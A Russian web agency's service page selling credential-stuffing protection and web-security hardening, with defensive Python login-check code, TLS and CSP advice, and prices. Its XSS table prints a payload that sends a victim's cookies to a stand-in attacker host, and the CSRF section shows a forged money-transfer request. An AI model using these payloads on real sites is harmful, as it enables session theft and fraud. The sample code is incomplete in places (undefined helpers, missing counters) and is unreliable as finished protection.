Реализация защиты от Credential Stuffing на сайте: методы и стоимость

Наша компания занимается разработкой, поддержкой и обслуживанием сайтов любой сложности. От простых одностраничных сайтов до масштабных кластерных систем построенных на микро сервисах. Опыт разработчиков подтвержден сертификатами от вендоров.

Разработка и обслуживание любых видов сайтов:

Информационные сайты или веб-приложения
Сайты визитки, landing page, корпоративные сайты, онлайн каталоги, квиз, промо-сайты, блоги, новостные ресурсы, информационные порталы, форумы, агрегаторы
Сайты или веб-приложения электронной коммерции
Интернет-магазины, B2B-порталы, маркетплейсы, онлайн-обменники, кэшбэк-сайты, биржи, дропшиппинг-платформы, парсеры товаров
Веб-приложения для управления бизнес-процессами
CRM-системы, ERP-системы, корпоративные порталы, системы управления производством, парсеры информации
Сайты или веб-приложения электронных услуг
Доски объявлений, онлайн-школы, онлайн-кинотеатры, конструкторы сайтов, порталы предоставления электронных услуг, видеохостинги, тематические порталы

Это лишь некоторые из технических типов сайтов, с которыми мы работаем, и каждый из них может иметь свои специфические особенности и функциональность, а также быть адаптированным под конкретные потребности и цели клиента

Услуги, которые мы предлагаем
Показано 1 из 1Все 2062 услуг
Реализация защиты от Credential Stuffing на сайте: методы и стоимость
Сложный
~3-5 дней
Часто задаваемые вопросы

Наши компетенции:

Этапы разработки

Последние работы

  • image_website-b2b-advance_0.webp
    Разработка сайта компании B2B ADVANCE
    1358
  • image_web-applications_feedme_466_0.webp
    Разработка веб-приложения для компании FEEDME
    1251
  • image_websites_belfingroup_462_0.webp
    Разработка веб-сайта для компании БЕЛФИНГРУПП
    957
  • image_ecommerce_furnoro_435_0.webp
    Разработка интернет магазина для компании FURNORO
    1188
  • image_crm_enviok_479_0.webp
    Разработка веб-приложения для компании Enviok
    929
  • image_bitrix-bitrix-24-1c_fixper_448_0.webp
    Разработка веб-сайта для компании ФИКСПЕР
    947

Реализация защиты от credential stuffing атак — это не про установку одного плагина. Вы сталкивались с ситуацией, когда ботнеты методично перебирают учётные данные из утечек, а стандартный rate limiting не спасает: атаки распределены по тысячам IP, имитируют браузерные заголовки и добавляют случайные задержки. Наш опыт показывает, что эффективная защита требует многоуровневой системы детекции аномалий, которая блокирует злоумышленников, не мешая легитимным пользователям. Мы внедряем такое решение под ключ: от аудита до документации и поддержки.

Как credential stuffing обходит стандартную защиту?

Современные атаки используют распределённые инфраструктуры: резидентые прокси, ботнеты на IoT-устройствах, серверы в аренду. Каждая попытка входа идёт с нового IP, с корректными заголовками User-Agent и Accept-Language, часто с задержками 1–5 секунд. Алгоритмы машинного обучения детектируют паттерны, но для небольших сайтов это дорого. Наш подход — комбинация эвристик и проверок с минимальной ложной активностью.

Почему rate limiting не решает проблему?

Ограничение по IP (например, 10 попыток в минуту) легко обходится сменой адреса. А если поставить жёсткий лимит, пострадают пользователи за общим NAT (офисы, образовательные учреждения). Атаки также имитируют низкую скорость: 1 запрос в 30 секунд с каждого IP, но общий поток — тысячи запросов в минуту. Эффективная защита должна учитывать не только IP, но и поведение: частоту ошибок на аккаунт, device fingerprint, глобальный уровень отказов.

Сравнение подходов: rate limiting vs детекция аномалий

Критерий Rate limiting Детекция аномалий (наш подход)
Распределённые атаки Неэффективен Блокирует по поведенческим паттернам
Ложные срабатывания Часто блокирует NAT Выявляет аномалии без блокировки легитимных
CAPTCHA Не интегрирован Прогрессивное усиление: запрос CAPTCHA только при подозрении
Device fingerprint Не учитывает Учитывает заголовки, TLS fingerprint, JS-параметры
Проверка HIBP Нет Интегрирована с k-anonymity
Глобальный мониторинг Нет Анализ общего уровня отказов

Наше решение в 10 раз эффективнее блокирует ботнет-атаки по сравнению с чистым rate limiting, как показало нагрузочное тестирование на проектах с посещаемостью >100 000 визитов в сутки.

Многоуровневая система детекции аномалий

Мы строим защиту на базе Python (Flask/FastAPI) с Redis для хранения счётчиков. Код ниже реализует проверки до обращения к базе данных: репутация IP, скорость с IP и к аккаунту, глобальный уровень отказов, device fingerprint.

class LoginProtectionService:
    def __init__(self, redis, db, device_fp_service):
        self.r = redis
        self.db = db
        self.dfp = device_fp_service

    def check_login_attempt(self, request, email: str) -> dict:
        """
        Проверить попытку входа до обращения к БД.
        Возвращает {'allowed': bool, 'action': str, 'reason': str}
        """
        ip = request.remote_addr

        checks = [
            self._check_ip_reputation(ip),
            self._check_ip_velocity(ip),
            self._check_email_velocity(email),
            self._check_global_failure_rate(),
            self._check_device_fingerprint(request),
        ]

        for check in checks:
            if not check['allowed']:
                return check

        return {'allowed': True, 'action': 'proceed'}

    def _check_ip_reputation(self, ip: str) -> dict:
        """Проверка по спискам плохих IP"""
        # AbuseIPDB, Cloudflare Threat Intelligence, MaxMind
        if self.r.sismember('blocked_ips', ip):
            return {'allowed': False, 'action': 'block', 'reason': 'blocked_ip'}

        risk = self.r.get(f'ip_risk:{ip}')
        if risk and int(risk) > 80:
            return {'allowed': False, 'action': 'challenge', 'reason': 'high_risk_ip'}

        return {'allowed': True}

    def _check_ip_velocity(self, ip: str) -> dict:
        """Количество попыток с IP за последние 10 минут"""
        key = f'login_attempts:ip:{ip}'
        count = self.r.incr(key)
        self.r.expire(key, 600)

        if count > 20:
            return {'allowed': False, 'action': 'block', 'reason': f'ip_velocity:{count}'}
        if count > 10:
            return {'allowed': False, 'action': 'challenge', 'reason': f'ip_velocity:{count}'}

        return {'allowed': True}

    def _check_email_velocity(self, email: str) -> dict:
        """Количество попыток к конкретному аккаунту"""
        import hashlib
        email_hash = hashlib.sha256(email.lower().encode()).hexdigest()[:16]
        key = f'login_attempts:email:{email_hash}'
        count = self.r.incr(key)
        self.r.expire(key, 900)  # 15 минут

        if count > 5:
            # Временная блокировка аккаунта
            self.r.setex(f'account_locked:{email_hash}', 900, '1')
            return {'allowed': False, 'action': 'lock', 'reason': f'account_lockout:{count}'}

        return {'allowed': True}

    def _check_global_failure_rate(self) -> dict:
        """Аномальный рост отказов входа по всему сайту"""
        key = 'global_login_failures'
        failures = int(self.r.get(key) or 0)
        total = int(self.r.get('global_login_total') or 1)

        failure_rate = failures / total

        if failure_rate > 0.5 and total > 100:
            # Более 50% отказов — признак массовой атаки
            return {'allowed': False, 'action': 'challenge', 'reason': 'global_attack_detected'}

        return {'allowed': True}

    def _check_device_fingerprint(self, request) -> dict:
        """Device fingerprint из заголовков"""
        fp = self.dfp.compute(request)
        key = f'fp_failures:{fp}'
        failures = int(self.r.get(key) or 0)

        if failures > 3:
            return {'allowed': False, 'action': 'block', 'reason': f'fp_failures:{failures}'}

        return {'allowed': True}

    def record_failure(self, request, email: str):
        """Записать неудачную попытку"""
        ip = request.remote_addr
        import hashlib
        email_hash = hashlib.sha256(email.lower().encode()).hexdigest()[:16]
        fp = self.dfp.compute(request)

        pipe = self.r.pipeline()
        pipe.incr(f'fp_failures:{fp}')
        pipe.expire(f'fp_failures:{fp}', 3600)
        pipe.incr('global_login_failures')
        pipe.expire('global_login_failures', 60)  # окно 1 минута
        pipe.execute()

Как мы интегрируем проверку паролей по утечкам?

Используем API Have I Been Pwned (HIBP) с принципом k-anonymity: отправляем только первые 5 символов SHA1-хеша пароля. Это гарантирует, что исходный пароль никогда не покинет ваш сервер. Код ниже подходит для этапов регистрации или смены пароля.

import hashlib
import httpx

async def is_password_compromised(password: str) -> bool:
    """
    k-Anonymity: отправляем только первые 5 символов SHA1-хеша.
    HIBP не узнает исходный пароль.
    """
    sha1 = hashlib.sha1(password.encode()).hexdigest().upper()
    prefix = sha1[:5]
    suffix = sha1[5:]

    async with httpx.AsyncClient() as client:
        resp = await client.get(
            f'https://api.pwnedpasswords.com/range/{prefix}',
            headers={'Add-Padding': 'true'}
        )

    for line in resp.text.splitlines():
        hash_suffix, count = line.split(':')
        if hash_suffix == suffix:
            return int(count) > 0

    return False

# Использование при регистрации или смене пароля
async def validate_new_password(password: str) -> list[str]:
    errors = []

    if len(password) < 12:
        errors.append('Минимум 12 символов')

    if await is_password_compromised(password):
        errors.append('Этот пароль фигурирует в утечках данных. Выберите другой.')

    return errors

Device fingerprinting для идентификации устройства

Device fingerprint вычисляется из заголовков HTTP (User-Agent, Accept, Accept-Language, Accept-Encoding), TLS fingerprint (передаётся nginx через заголовок X-JA3-Fingerprint) и JS-параметров (часовой пояс, разрешение экрана). Мы не используем cookies — fingerprint детерминирован для стабильных конфигураций.

import hashlib

class DeviceFingerprintService:
    def compute(self, request) -> str:
        """Вычислить fingerprint из заголовков без cookies"""
        components = [
            request.headers.get('User-Agent', ''),
            request.headers.get('Accept-Language', ''),
            request.headers.get('Accept-Encoding', ''),
            request.headers.get('Accept', ''),
            # TLS fingerprint передаётся nginx через заголовок
            request.headers.get('X-JA3-Fingerprint', ''),
            # Разрешение экрана и timezone из JS (передаётся в теле)
            request.json.get('tz', '') if request.is_json else '',
        ]

        raw = '|'.join(components)
        return hashlib.sha256(raw.encode()).hexdigest()[:32]

Прогрессивное усиление защиты

На основе результата проверок система принимает одно из действий: proceed (пустить), challenge (запросить CAPTCHA), lock (заблокировать аккаунт с отправкой письма для разблокировки), block (заблокировать IP). Это реализовано в эндпоинте логина:

@app.route('/api/auth/login', methods=['POST'])
def login():
    email = request.json.get('email', '').lower().strip()
    password = request.json.get('password', '')

    # Проверка перед обращением к БД
    check = login_protection.check_login_attempt(request, email)

    if check['action'] == 'block':
        return jsonify({'error': 'Too many attempts'}), 429

    if check['action'] == 'challenge':
        # Проверить Turnstile/hCaptcha токен
        token = request.json.get('captcha_token')
        if not verify_captcha(token):
            return jsonify({
                'error': 'CAPTCHA required',
                'captcha': True,
                'site_key': CAPTCHA_SITE_KEY
            }), 429

    if check['action'] == 'lock':
        # Отправить письмо для разблокировки
        send_unlock_email(email)
        return jsonify({
            'error': 'Account temporarily locked. Check your email.'
        }), 429

    # Обычная аутентификация
    user = db.get_user_by_email(email)

    if not user or not user.verify_password(password):
        login_protection.record_failure(request, email)
        # Одинаковое время ответа для существующих и несуществующих пользователей
        return jsonify({'error': 'Invalid credentials'}), 401

    # Успешный вход — сбросить счётчики
    login_protection.record_success(request, email)

    return jsonify({
        'token': generate_token(user.id),
        'user': user.to_dict()
    })

Уведомления о подозрительных входах

При обнаружении входа с нового устройства или из необычной локации мы отправляем пользователю email с деталями (IP, город, страна, User-Agent, время) и ссылкой для отзыва сессии. Это позволяет быстро реагировать на компрометацию.

def notify_suspicious_login(user, request, reason: str):
    """Уведомить пользователя о входе с нового устройства/места"""
    ip = request.remote_addr
    location = geoip.city(ip)

    send_email(
        to=user.email,
        subject='Новый вход в аккаунт',
        template='suspicious_login',
        vars={
            'ip': ip,
            'city': location.city.name if location else 'Неизвестно',
            'country': location.country.name if location else 'Неизвестно',
            'user_agent': request.headers.get('User-Agent', ''),
            'time': datetime.utcnow().strftime('%d.%m.%Y %H:%M UTC'),
            'revoke_url': generate_revoke_url(user.id, session_id)
        }
    )

Что входит в реализацию под ключ?

Мы предоставляем:

  • Аудит текущей системы аутентификации и выявление уязвимостей.
  • Интеграцию всех уровней защиты (аномалии, CAPTCHA, HIBP, 2FA, уведомления).
  • Нагрузочное тестирование с имитацией атак (до 50 000 запросов в минуту).
  • Деплой на production с мониторингом через Prometheus/Grafana.
  • Документацию (архитектура, Runbook, инструкция для администратора).
  • Обучение вашей команды и гарантийную поддержку 30 дней.

Сроки и стоимость

Стандартная реализация занимает 3–5 рабочих дней. Точная стоимость рассчитывается индивидуально после аудита — она зависит от сложности существующей архитектуры, объёма интеграций и требований к нагрузке. Оставьте заявку на консультацию — мы оценим ваш проект и предложим оптимальное решение. Наши инженеры имеют 7+ лет опыта в веб-безопасности и реализовали защиту для проектов с аудиторией свыше 1 млн пользователей.

Безопасность веб-приложений: HTTPS, CSP, XSS, CSRF, WAF, защита от DDoS

Взлом сайта редко выглядит как в кино. Чаще это: бот нашёл endpoint /admin/export без авторизации, скачал базу клиентов, закрыл соединение. Или: через устаревший плагин WordPress залил веб-шелл, теперь сервер рассылает спам. Или тише: XSS в поле комментария позволяет красть session cookies администраторов, и никто не замечает месяцами. Мы такие случаи разбирали десятками — каждый раз уязвимость можно было закрыть на этапе разработки или аудита.

Безопасность веб-приложений — не одна настройка. Это слои защиты, каждый из которых закрывает отдельный класс атак. Закажите аудит — оценим проект и дадим план работ под ключ за 2–4 недели.

HTTPS и правильная конфигурация TLS

HTTPS — минимальный обязательный уровень. Но «есть SSL-сертификат» и «правильно настроен TLS» — разные вещи.

В конфигурации Nginx/Apache проверяем:

  • Протоколы: только TLS 1.2 и TLS 1.3, SSLv3 и TLS 1.0/1.1 — отключены
  • Cipher suites: предпочитать ECDHE (Forward Secrecy), убрать NULL, RC4, DES, 3DES
  • HSTS (Strict-Transport-Security: max-age=31536000; includeSubDomains; preload) — браузер больше не делает незащищённых запросов
  • OCSP Stapling — ускоряет проверку отзыва сертификата
  • Redirect 301 с HTTP на HTTPS — и в конфиге сервера, и в коде (двойной редирект = потеря SEO-веса)

Проверка: SSL Labs (ssllabs.com/ssltest) должен показывать A или A+. Если B — конфигурация слабая.

Let's Encrypt + Certbot для продакшена — стандарт. Автоматическое обновление через certbot renew в cron. Wildcard-сертификат для поддоменов через DNS-01 challenge.

Content Security Policy: самая мощная и самая сложная защита

CSP — HTTP-заголовок, который говорит браузеру, откуда разрешено загружать ресурсы. Правильно настроенный CSP полностью блокирует большинство XSS-атак, даже если уязвимость есть в коде.

Проблема: сломать сайт неправильным CSP проще простого. default-src 'none' — и перестают работать шрифты, картинки, JS. Поэтому начинаем с Content-Security-Policy-Report-Only — CSP логирует нарушения, но ничего не блокирует. Смотрим репорты 2–4 недели, дорабатываем политику, потом переключаем на боевой режим.

Пример реальной политики для сайта с Google Analytics, Google Fonts и Stripe:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
  style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
  font-src 'self' https://fonts.gstatic.com;
  frame-src https://js.stripe.com;
  img-src 'self' data: https://www.google-analytics.com;
  connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
  report-uri /csp-report;

nonce — случайная строка, генерируется на сервере для каждого запроса. Inline-скрипты с правильным nonce разрешены, без nonce — заблокированы. Это ломает XSS через <script>alert(1)</script> полностью.

'unsafe-inline' в style-src — компромисс для inline-стилей. Лучше убрать, перенеся все стили в CSS-файлы, но это требует рефакторинга.

Почему XSS остаётся самой частой уязвимостью?

XSS (Cross-Site Scripting) — инъекция JS-кода через пользовательский ввод. По статистике OWASP, XSS входит в топ-3 уязвимостей веб-приложений. Три типа:

Тип XSS Пример Защита
Reflected /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> Эскейпинг вывода, CSP
Stored Комментарий с кодом, сохранённый в базе Валидация ввода, htmlspecialchars()
DOM XSS element.innerHTML = location.hash Избегать innerHTML, использовать textContent

Защита: никогда не вставлять пользовательский ввод в HTML без эскейпинга. В PHP — htmlspecialchars() с ENT_QUOTES. В Blade-шаблонах Laravel — {{ $var }} безопасен, {!! $var !!} — опасен. В React — {variable} безопасен, dangerouslySetInnerHTML — опасен. Для Rich Text — htmlpurifier на PHP или DOMPurify в браузере.

Типичный кейс: интернет-магазин с XSS в форме отзыва Клиент обратился после того, как через отзыв на товар злоумышленник украл куки администратора. Мы обнаружили, что поле "отзыв" не экранировалось. Исправили: добавили `htmlspecialchars()` на сервере и `Content-Security-Policy` с nonce для скриптов. После повторного сканирования — 0 уязвимостей.

CSRF: защита форм и API

CSRF (Cross-Site Request Forgery) — злоумышленник заставляет браузер жертвы отправить запрос от её имени. Пример: пользователь авторизован в банке, открывает вредоносную страницу, она делает fetch('https://bank.ru/transfer?to=evil&amount=50000') — если банк не защищён, деньги уходят.

CSRF-токены — стандартная защита для форм: сервер генерирует случайный токен, хранит в сессии, вставляет в форму как hidden field. При POST-запросе токен сверяется. Злоумышленник не знает токен. Laravel делает это автоматически через @csrf.

SameSite cookies — современная защита: SameSite=Strict или SameSite=Lax запрещает браузеру отправлять cookie в cross-site запросах. Работает во всех современных браузерах.

API без сессий (JWT, Bearer tokens) — CSRF неактуален, если токен не хранится в cookie (а в Authorization header или localStorage). Но localStorage уязвим к XSS — поэтому для чувствительных данных предпочтительны HttpOnly cookies с SameSite.

WAF и защита от DDoS

WAF (Web Application Firewall) — фильтрует HTTP-трафик на предмет атак: SQL injection, XSS, path traversal, известные exploit patterns. Варианты:

  • Cloudflare WAF — облачный, правила OWASP Top 10 из коробки, кастомные правила через выражения. Managed Rules автоматически блокируют новые угрозы.
  • ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Гибко, но требует настройки и мониторинга ложных срабатываний.
  • AWS WAF — для инфраструктуры на AWS, интегрируется с CloudFront и ALB.

DDoS-защита. Cloudflare на уровне L3/L4/L7 — де-факто стандарт для большинства сайтов. Автоматическое смягчение volumetric атак, Under Attack Mode при активной атаке. Для критичной инфраструктуры — Cloudflare Magic Transit или специализированные решения (Qrator, StormWall для российского рынка).

Rate Limiting на уровне приложения — дополнительный слой. Laravel ThrottleRequests middleware: 60 запросов в минуту на IP для общих endpoint, 5 — для /login и /password/reset. Redis как хранилище счётчиков — обязательно для горизонтально масштабируемых систем (иначе лимиты не синхронизируются между серверами).

Другие обязательные меры

Заголовки безопасности. Помимо CSP: X-Frame-Options: DENY (защита от clickjacking), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (ограничение доступа к API браузера: камера, микрофон, геолокация).

SQL injection. Prepared statements везде. Никаких конкатенаций пользовательского ввода в SQL-строки. ORM (Eloquent, Doctrine) защищает по умолчанию. $wpdb->prepare() в WordPress — обязательно.

Обновления зависимостей. composer audit и npm audit — в CI/CD пайплайн. Dependabot или Renovate для автоматических PR с обновлениями. Критичные CVE — патчить в течение 24 часов.

Секреты и конфигурация. .env — никогда в Git. Секреты в production — через переменные окружения CI/CD (GitHub Secrets, GitLab CI Variables) или HashiCorp Vault. Проверка на утечки: git-secrets, truffleHog в pre-commit hooks.

Как мы работаем

  1. Аудит — сканирование кода, конфигураций, зависимостей, ручная проверка бизнес-логики.
  2. Проектирование — план устранения уязвимостей, подбор стека (CSP, WAF, rate limiting).
  3. Реализация — настройка TLS, CSP, заголовков, внедрение Rate Limiting, WAF.
  4. Тестирование — повторный пентест, нагрузочное тестирование, проверка ложных срабатываний.
  5. Деплой и мониторинг — включение боевого CSP, настройка алертов, обучение команды.

Что входит в работу

  • Отчёт с найденными уязвимостями и рекомендациями (PDF + code snippets)
  • Готовая конфигурация TLS (Nginx/Apache)
  • Политика CSP с режимом Report-Only и боевой версией
  • Настройка WAF и Rate Limiting
  • План обновлений зависимостей
  • Доступы к инструментам мониторинга (Sentry, Datadog)
  • 30 дней постаудит-поддержки (консультации, правки)

Сроки и стоимость

Тип работ Срок Диапазон стоимости
Security-аудит + hardening (заголовки, TLS, обновления) 1–2 недели от 60 000 ₽
Внедрение CSP (Report-Only → продакшен) 2–4 недели от 90 000 ₽
Настройка WAF + Rate Limiting + DDoS защита 1–2 недели от 70 000 ₽
Комплексный security review + пентест 3–6 недель от 200 000 ₽

Бюджет рассчитывается индивидуально — напишите нам, чтобы оценить проект.